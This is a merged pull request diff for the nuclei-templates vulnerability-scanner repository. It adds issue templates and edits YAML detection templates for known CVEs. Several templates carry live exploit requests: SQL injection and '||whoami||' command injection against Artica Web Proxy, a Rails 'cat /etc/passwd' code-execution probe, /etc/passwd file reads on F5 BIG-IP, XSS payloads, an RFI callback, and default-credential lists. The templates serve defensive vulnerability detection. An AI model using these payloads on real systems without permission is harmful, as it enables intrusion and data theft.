Merge pull request #369 from projectdiscovery/wems-manager-xss

Create wems-manager-xss.yaml

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,32 @@
+---
+name: Bug report
+about: Create a issue to help us improve
+title: "[Bug] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**Commands to reproduce**
+
+```
+nuclei -t xxx -target xxx
+```
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.

.github/ISSUE_TEMPLATE/false-positive.md

@@ -0,0 +1,30 @@
+---
+name: False Positive
+about: 'Create an issue if you found false positive results. '
+title: "[false-positive] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Template ID**
+
+Please submit the ID template producing false-positive results. 
+
+**Commands to Reproduce**
+
+```
+nuclei -t template_id -target ?
+```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,16 @@
+---
+name: Feature request
+about: Suggest an idea to improve nuclei templates
+title: "[Feature] "
+labels: ''
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+
+A clear and concise description of what you want to happen.

.nuclei-ignore

@@ -0,0 +1,4 @@
+.pre-commit-config.yaml
+security-misconfiguration/missing-x-frame-options.yaml
+panels/
+cves/CVE-2020-13379.yaml

cves/CVE-2017-10075.yaml

@@ -4,6 +4,7 @@ info:
   name: Oracle Content Server XSS
   author: madrobot
   severity: medium
+  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
 
 requests:
   - method: GET
@@ -19,4 +20,4 @@ requests:
       - type: word
         words:
           - "<script>alert(31337)</script>"
-        part: body
+        part: body

cves/CVE-2017-14849.yaml

@@ -4,6 +4,7 @@ info:
   name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
   author: Random-Robbie
   severity: high
+  description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
 
 requests:
   - method: GET

cves/CVE-2017-5638.yaml

@@ -3,6 +3,7 @@ info:
   author: "Random Robbie"
   name: "Struts2 RCE "
   severity: critical
+  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
 
 # This template supports the detection part only.
 # Do not test any website without permission
@@ -25,5 +26,5 @@ requests:
     matchers:
       - type: word
         words:
-          - "Bounty Plz"
-        part: header
+          - "X-Hacker: Bounty Plz"
+        part: header

cves/CVE-2017-7529.yaml

@@ -1,23 +1,23 @@
 id: CVE-2017-7529
 info:
-  author: "Harsh Bothra"
+  author: "Harsh Bothra & @dwisiswant0"
   name: "Nginx Remote Integer Overflow"
   severity: medium
+  description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
 
-# This template supports the detection part only.
-# Do not test any website without permission
-# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
+  # This template supports the detection part only.
+  # Do not test any website without permission
+  # https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
 
 requests:
   - raw:
       - |
-          GET / HTTP/1.1
-          Host: {{Hostname}}
-          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-          Accept-Language: en-US,en;q=0.5
-          Range: bytes=-17208,-9223372036854758792
-          Connection: close
-
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Range: bytes=-17208,-9223372036854758792
+        Connection: close
     matchers-condition: and
     matchers:
       - type: status
@@ -25,5 +25,7 @@ requests:
           - 206
       - type: word
         words:
-          - Content-Range
-        part: all
+          - "Server: nginx"
+          - "Content-Range"
+        condition: and
+        part: header

cves/CVE-2017-9506.yaml

@@ -4,6 +4,7 @@ info:
   name: Jira IconURIServlet SSRF
   author: Ice3man
   severity: high
+  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
 
 requests:
   - method: GET

cves/CVE-2017-9841.yaml

@@ -4,7 +4,7 @@ info:
   name: CVE-2017-9841
   author: Random-Robbie
   severity: High
-
+  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
   # Reference to exploit
   # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
   # https://github.com/RandomRobbieBF/phpunit-brute

cves/CVE-2018-1000129.yaml

@@ -4,13 +4,14 @@ info:
   name: Jolokia XSS
   author: mavericknerd
   severity: high
+  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+      - "{{BaseURL}}/jolokia/read<svg/onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}/api/jolokia/read<svg/onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}:8080/jolokia/read<svg/onload=alert(document.domain)>?mimeType=text/html"
     matchers-condition: and
     matchers:
       - type: status
@@ -18,5 +19,5 @@ requests:
           - 200
       - type: word
         words:
-          - "<svg/onload=alert(1337)>"
+          - "<svg/onload=alert(document.domain)>"
         part: body

cves/CVE-2018-16341.yaml

@@ -4,7 +4,7 @@ info:
   name: Nuxeo Authentication Bypass Remote Code Execution
   author: madrobot
   severity: high
-
+  description: Nuxeo Authentication Bypass Remote Code Execution < 103 using a SSTI
 requests:
   - method: GET
     path:

cves/CVE-2018-18069.yaml

@@ -4,6 +4,7 @@ info:
   name: Wordpress unauthenticated stored xss
   author: nadino
   severity: medium
+  description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
 
 requests:
   - method: POST

cves/CVE-2018-19439.yaml

@@ -4,6 +4,7 @@ info:
   name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
   author: madrobot & dwisiswant0
   severity: high
+  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
 
 requests:
   - method: GET

cves/CVE-2018-20824.yaml

@@ -4,6 +4,7 @@ info:
   name: Atlassian Jira WallboardServlet XSS
   author: madrobot & dwisiswant0
   severity: medium
+  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
 
 requests:
   - method: GET

cves/CVE-2018-2791.yaml

@@ -4,13 +4,13 @@ info:
   name: Oracle WebCenter Sites XSS
   author: madrobot
   severity: medium
-
+  description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
     matchers:
       - type: word
         words:
-          - "<script>alert(1337)</script>"
+          - "<h1xxx<scriptalert(1)</script"
         part: body

cves/CVE-2019-9978.yaml

@@ -2,7 +2,7 @@ id: CVE-2019-9978
 
 info:
   name: WordPress social-warfare RFI
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: critical
 
   # Reference:- https://github.com/mpgn/CVE-2019-9978
@@ -10,7 +10,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ip-api.com/json"
+      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net"
     matchers-condition: and
     matchers:
       - type: status
@@ -18,8 +18,5 @@ requests:
           - 200
       - type: word
         words:
-          - "timezone"
-          - "status"
-          - "country"
-        condition: and
+          - "Burp Collabolator Server"
         part: body

cves/CVE-2020-10199.yaml

@@ -4,6 +4,7 @@ info:
   name: Nexus Repository Manager 3 RCE
   auhtor: hetroublemakr
   severity: high
+  description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
   # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
 
 requests:

cves/CVE-2020-10204.yaml

@@ -4,6 +4,7 @@ info:
   name: Sonatype Nexus Repository RCE
   auhtor: hetroublemakr
   severity: high
+  description: A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
   # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
 
 requests:
@@ -21,4 +22,4 @@ requests:
         part: body
       - type: status
         status:
-          - 200
+          - 200

cves/CVE-2020-12720.yaml

@@ -4,7 +4,7 @@ info:
   name: CVE-2020-12720 vBulletin SQLI
   author: pdnuclei - projectdiscovery.io
   severity: critical
-
+  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
   # Source https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
   # This template supports the detection part only.
   # Do not test any website without permission

cves/CVE-2020-13167.yaml

@@ -4,6 +4,7 @@ info:
   name: Netsweeper WebAdmin unixlogin.php Python Code Injection
   author: dwisiswant0
   severity: critical
+  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
 
   # This template exploits a Python code injection in the Netsweeper
   # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
@@ -38,4 +39,4 @@ requests:
         part: body
       - type: status
         status:
-          - 200
+          - 200

cves/CVE-2020-13379.yaml

@@ -4,6 +4,7 @@ info:
   name: Unauthenticated Grafana DoS
   author: pxmme1337
   severity: medium
+  description: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client.
 
   # Source:-  https://www.exploit-db.com/exploits/48638
   # WARNING

cves/CVE-2020-17505.yaml

@@ -0,0 +1,46 @@
+id: CVE-2020-17505
+
+info:
+  name: Artica Web Proxy 4.30 OS Command Injection
+  author: dwisiswant0
+  severity: high
+  description: Artica Web Proxy 4.30.000000 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
+
+  # Artica Web Proxy 4.30.00000000
+  # allows an authenticated remote attacker
+  # to inject commands via the service-cmds parameter in cyrus.php.
+  # These commands are executed with root
+  # privileges via service_cmds_peform.
+  # -
+  # References:
+  # > https://blog.max0x4141.com/post/artica_proxy/
+
+requests:
+  - raw:
+      - |
+        GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+      - |
+        GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "array(2)"
+          - "Position: ||whoami||"
+          - "root"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-17506.yaml

@@ -0,0 +1,42 @@
+id: CVE-2020-17506
+
+info:
+  name: Artica Web Proxy 4.30 Authentication Bypass
+  author: dwisiswant0
+  severity: critical
+  description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
+
+  # Artica Web Proxy 4.30.00000000
+  # allows remote attacker to bypass privilege detection
+  # and gain web backend administrator privileges
+  # through SQL injection of the apikey parameter in fw.login.php.
+  # -
+  # References:
+  # > https://blog.max0x4141.com/post/artica_proxy/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
+    redirects: true
+    max-redirects: 1
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "artica-applianc"
+      - type: status
+        status:
+          - 200
+          - 301
+          - 302
+        condition: or
+      - type: word
+        name: session
+        words:
+          - "PHPSESSID"
+        part: header
+    extractors:
+      - type: kval
+        kval:
+          - "PHPSESSID"

cves/CVE-2020-5284.yaml

@@ -2,19 +2,23 @@ id: CVE-2020-5284
 
 info:
   name: Next.js .next/ limited path traversal
-  author: Harsh & Rahul
+  author: Harsh & Rahul & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
-
     matchers-condition: and
     matchers:
       - type: regex
         regex:
           - '\{"/_app":".*?_app\.js"'
+        part: body
+      - type: word
+        words:
+          - "application/json"
+        part: header
       - type: status
         status:
           - 200

cves/CVE-2020-5902.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-5902
 
 info:
   name: F5 BIG-IP TMUI RCE
-  author: madrobot & dwisiswant0
+  author: madrobot & dwisiswant0 & ringo
   severity: high
 
 requests:
@@ -11,6 +11,7 @@ requests:
       - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
       - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
       - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
+      - "{{BaseURL}}/hsqldb%0a"
     matchers-condition: and
     matchers:
       - type: status
@@ -21,6 +22,7 @@ requests:
           - "root:[x*]:0:0:"
           - "BIG-IP release ([\\d.]+)"
           - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
+          - "HSQL Database Engine Servlet"
         condition: or
         part: body
   - raw:
@@ -59,4 +61,4 @@ requests:
           - 200
       - type: word
         words:
-          - "h3ll0_w0Rld"
+          - "h3ll0_w0Rld"

cves/CVE-2020-7961.yaml

@@ -15,9 +15,9 @@ info:
 requests:
   - payloads:
       command:
-        - "systeminfo" # Windows
-        - "lsb_release -a" # Linux
-        - "sysctl kern.ostype" # macOS
+        - "systeminfo"  # Windows
+        - "lsb_release -a"  # Linux
+        - "sysctl kern.ostype"  # macOS
       port:
         - "80"
         - "443"

cves/CVE-2020-8163.yaml

@@ -0,0 +1,22 @@
+id: CVE-2020-8163
+
+info:
+  name: Potential Remote Code Execution on Rails
+  author: tim_koopmans
+  severity: high
+  description: Tests for ability to pass user parameters as local variables into partials
+  # reference: https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2020-8512.yaml

@@ -4,6 +4,7 @@ info:
   name: IceWarp WebMail XSS
   author: pdnuclei & dwisiswant0
   severity: medium
+  description: In IceWarp Webmail Server through 11.4.4.1, there is XSS in the /webmail/ color parameter.
 
 # source:- https://www.exploit-db.com/exploits/47988
 # https://twitter.com/sagaryadav8742/status/1275170967527006208
@@ -21,4 +22,4 @@ requests:
         part: body
       - type: status
         status:
-          - 200
+          - 200

cves/CVE-2020-8982.yaml

@@ -4,6 +4,7 @@ info:
   name: Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read
   author: dwisiswant0
   severity: high
+  description: An unauthenticated arbitrary file read issue exists in all versions of Citrix ShareFile StorageZones (aka storage zones) Controller, including the most recent 5.10.x releases as of May 2020.
 
 requests:
   - method: GET
@@ -20,4 +21,4 @@ requests:
           - "fonts"
           - "extensions"
         condition: and
-        part: body
+        part: body

cves/CVE-2020-9484.yaml

@@ -4,6 +4,7 @@ info:
   name: Apache Tomcat RCE by deserialization
   author: dwisiswant0
   severity: high
+  description: Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server
 
 requests:
   - method: GET
@@ -23,4 +24,4 @@ requests:
           - "ObjectInputStream"
           - "PersistentManagerBase"
         condition: and
-        part: body
+        part: body

cves/CVE-2020-9496.yaml

@@ -4,6 +4,8 @@ info:
   name: Apache OFBiz XML-RPC Java Deserialization
   author: dwisiswant0
   severity: medium
+  description: XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03
+
 
   # This temaplte detects a Java deserialization vulnerability in Apache
   # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
@@ -52,4 +54,4 @@ requests:
         part: header
       - type: status
         status:
-          - 200
+          - 200

cves/CVE-2020-9757.yaml

@@ -4,6 +4,7 @@ info:
   name: SEOmatic < 3.3.0 Server-Side Template Injection
   author: dwisiswant0
   severity: high
+  description: The SEOmatic component before 3.3.0 for Craft CMS allows Server-Side Template Injection that leads to RCE via malformed data to the metacontainers controller.
 
 requests:
   - method: GET

default-credentials/grafana-default-credential.yaml

@@ -5,16 +5,15 @@ info:
   severity: high
 
 requests:
-
-    # https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
-    # https://github.com/grafana/grafana/issues/14755
-    # Grafana blocks for 5 minutes after 5 "Invalid" attempts for valid user.
-    # So make sure, not to attempt more than 4 password for same valid user.
+  # https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
+  # https://github.com/grafana/grafana/issues/14755
+  # Grafana blocks for 5 minutes after 5 "Invalid" attempts for valid user.
+  # So make sure, not to attempt more than 4 password for same valid user.
 
   - payloads:
 
-    # grafana_username:
-    #  - admin
+      # grafana_username:
+      #  - admin
 
       grafana_password:
         - prom-operator

files/druid-monitor.yaml

@@ -0,0 +1,20 @@
+id: druid-monitor
+info:
+  name: Druid Monitor Unauthorized Access
+  author: 0h1in9e @ohlinge
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/druid/index.html"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Druid Stat Index</title>'
+
+      - type: status
+        status:
+          - 200

files/ds_store.yaml

@@ -0,0 +1,30 @@
+id: ds-store-file
+
+info:
+  name: Dirctory Listing via DS_Store
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.DS_Store"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "\x00@\x00"
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Accept-Ranges: bytes"
+          - "octet-stream"
+        condition: or
+        part: header

files/security.txt.yaml

@@ -4,6 +4,7 @@ info:
   name: Security.txt File
   author: bad5ect0r
   severity: info
+  description: The website defines a security policy.
 
 requests:
   - method: GET

files/wadl-files.yaml

@@ -5,6 +5,10 @@ info:
   author: 0xrudra & manuelbua
   severity: info
 
+  # References:
+  # - https://github.com/dwisiswant0/wadl-dumper
+  # - https://www.nopsec.com/leveraging-exposed-wadl-xml-in-burp-suite/
+
 requests:
   - method: GET
     path:

panels/pfsense-web-gui.yaml

@@ -0,0 +1,16 @@
+id: pfsense-web-gui
+
+info:
+  name: pfSense Web GUI
+  author: ossie
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: word
+        words:
+          - "Login to pfSense"

panels/rabbitmq-dashboard.yaml

@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - '{{BaseURL}}'
+      - "{{BaseURL}}:15672"
     matchers:
       - type: word
         words:

panels/traefik-dashboard

@@ -0,0 +1,16 @@
+id: traefik-dashboard-detect
+
+info:
+  name: Traefik Dashboard
+  author: schniggie
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dashboard/"
+    matchers:
+      - type: word
+        words:
+          - "<meta name=description content=\"Traefik UI\">"
+        part: body

panels/workspaceone-uem-airWatch-dashboard-detect.yaml

@@ -0,0 +1,20 @@
+id: workspaceone-uem-airWatch-dashboard-detect
+
+info:
+  name: Workspace ONE Unified Endpoint Management (UEM) AirWatch
+  author: hanlaomo
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/AirWatch/Login"
+
+    matchers:
+      - type: word
+        words:
+          - "Workspace"
+          - "Login"
+          - "AirWatch"
+        condition: and
+        part: body

security-misconfiguration/missing-x-frame-options.yaml

@@ -0,0 +1,21 @@
+id: missing-x-frame-options
+
+info:
+  name: Clickjacking (Missing XFO header)
+  author: kurohost
+  severity: low
+
+  # This is an valid issue "only" when you able to frame authenticated page with poc to make state changing actions.
+  # Without working poc, do not report this.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: dsl
+        dsl:
+          - "!contains(tolower(all_headers), 'x-frame-options')"

security-misconfiguration/springboot-detect.yaml

@@ -22,12 +22,10 @@ requests:
       - "{{BaseURL}}/actuator/exportRegisteredServices"
       - "{{BaseURL}}/actuator/features"
       - "{{BaseURL}}/actuator/flyway"
-      - "{{BaseURL}}/actuator/health"
       - "{{BaseURL}}/actuator/healthcheck"
       - "{{BaseURL}}/actuator/heapdump"
       - "{{BaseURL}}/actuator/httptrace"
       - "{{BaseURL}}/actuator/hystrix.stream"
-      - "{{BaseURL}}/actuator/info"
       - "{{BaseURL}}/actuator/integrationgraph"
       - "{{BaseURL}}/actuator/jolokia"
       - "{{BaseURL}}/actuator/liquibase"
@@ -58,10 +56,8 @@ requests:
       - "{{BaseURL}}/configprops"
       - "{{BaseURL}}/dump"
       - "{{BaseURL}}/env"
-      - "{{BaseURL}}/health"
       - "{{BaseURL}}/heapdump"
       - "{{BaseURL}}/hystrix.stream"
-      - "{{BaseURL}}/info"
       - "{{BaseURL}}/jolokia"
       - "{{BaseURL}}/jolokia/list"
       - "{{BaseURL}}:8090/jolokia"

technologies/artica-web-proxy-detect.yaml

@@ -0,0 +1,18 @@
+id: artica-web-proxy-detect
+info:
+  name: Artica Web Proxy Detect
+  author: dwisiswant0
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/fw.login.php"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Welcome to the Artica Web Administration Interface"
+      - type: status
+        status:
+          - 200

technologies/favicon-detection.yaml

@@ -0,0 +1,71 @@
+id: favicon-detection
+
+info:
+  name: favicon
+  author: un-fmunozs
+  severity: info
+
+  # 946,0488faca4c19046b94d07c3ee83cf9d6,springboot
+  # 2336,02f4db63a9cfb650c05ffd82956cbfd6,proxmox
+  # 21630,4644f2d45601037b8423d45e13194c93,tomcat
+  # 6518,3e7f8aa6768bba07751fe8570d7a244c,airwatch
+  # 30894,6eb4a43cb64c97f76562af703893c8fd,xampp
+  # 765,e16377344d2d52a15e735041b3eb2c5a,kibana
+  # 17542,e16377344d2d52a15e735041b3eb2c5a,jenkins
+  # 1150,6d2adf39ca320265830403dfc030033a,liferay
+  # 3638,59a0c7b6e4848ccdabcea0636efda02b,blogger
+  # 198,59a0c7b6e4848ccdabcea0636efda02b,wordpress
+  # 5430,59a0c7b6e4848ccdabcea0636efda02b,wordpress
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/favicon.ico"
+    redirects: true
+    max-redirects: 3
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        name: springboot
+        dsl:
+          - "len(body)==946 && status_code==200 && (\"0488faca4c19046b94d07c3ee83cf9d6\" == md5(body))"
+      - type: dsl
+        name: proxmox
+        dsl:
+          - "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))"
+      - type: dsl
+        name: tomcat
+        dsl:
+          - "len(body)==21630 && status_code==200 && (\"4644f2d45601037b8423d45e13194c93\" == md5(body))"
+      - type: dsl
+        name: airwatch
+        dsl:
+          - "len(body)==6518 && status_code==200 && (\"3e7f8aa6768bba07751fe8570d7a244c\" == md5(body))"
+      - type: dsl
+        name: blogger
+        dsl:
+          - "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))"
+      - type: dsl
+        name: xampp
+        dsl:
+          - "len(body)==30894 && status_code==200 && (\"6eb4a43cb64c97f76562af703893c8fd\" == md5(body))"
+      - type: dsl
+        name: kibana
+        dsl:
+          - "len(body)==1150 && status_code==200 && (\"e16377344d2d52a15e735041b3eb2c5a\" == md5(body))"
+      - type: dsl
+        name: liferay
+        dsl:
+          - "len(body)==1150 && status_code==200 && (\"6d2adf39ca320265830403dfc030033a\" == md5(body))"
+      - type: dsl
+        name: jenkins
+        dsl:
+          - "len(body)==17542 && status_code==200 && (\"23e8c7bd78e8cd826c5a6073b15068b1\" == md5(body))"
+      - type: dsl
+        name: wordpress
+        dsl:
+          - "len(body)==198 && status_code==200 && (\"c6acedaff906029fc5455d9ec52c7f42\" == md5(body))"
+      - type: dsl
+        name: wordpress
+        dsl:
+          - "len(body)==5430 && status_code==200 && (\"c291c057816f71ce15ba5c496f1a965a\" == md5(body))"

technologies/jira-detect.yaml

@@ -2,7 +2,7 @@ id: jira-detect
 
 info:
   name: Detect Jira Issue Management Software
-  author: bauthard
+  author: pdteam
   severity: info
 
 requests:
@@ -10,6 +10,8 @@ requests:
     path:
       - "{{BaseURL}}/secure/Dashboard.jspa"
       - "{{BaseURL}}/jira/secure/Dashboard.jspa"
+      - "{{BaseURL}}/login.jsp"
+
     matchers:
       - type: word
         words:

technologies/tech-detect.yaml

@@ -7,6 +7,9 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/"
+
+    redirects: true
+    max-redirects: 2
     matchers-condition: or
     matchers:
       - type: regex
@@ -15,6 +18,15 @@ requests:
           - <img[^>]+\.mollom\.com
         condition: or
         part: body
+
+      - type: word
+        name: atlassian-jira
+        words:
+          - "Project Management Software"
+          - "atlassian.com/software/jira"
+        condition: and
+        part: body
+
       - type: regex
         name: genexus
         regex:
@@ -1710,12 +1722,7 @@ requests:
           - <a href="http://www\.liveinternet\.ru/click"
         condition: or
         part: body
-      - type: regex
-        name: atlassian-jira
-        regex:
-          - 'Powered by\s+<a href=[^>]+atlassian\.com/(?:software/jira|jira-bug-tracking/)[^>]+>Atlassian\s+JIRA(?:[^v]*v(?:ersion: )?(\d+\.\d+(?:\.\d+)?))?'
-        condition: or
-        part: body
+
       - type: regex
         name: sdl-tridion
         regex:

tokens/amazon-mws-auth-token-value.yaml

@@ -10,13 +10,6 @@ requests:
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
-
     extractors:
       - type: regex
         part: body

tokens/aws-access-key-value.yaml

@@ -10,13 +10,6 @@ requests:
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-
     extractors:
       - type: regex
         part: body

tokens/credentials-disclosure.yaml

@@ -0,0 +1,709 @@
+id: credentials-disclosure
+
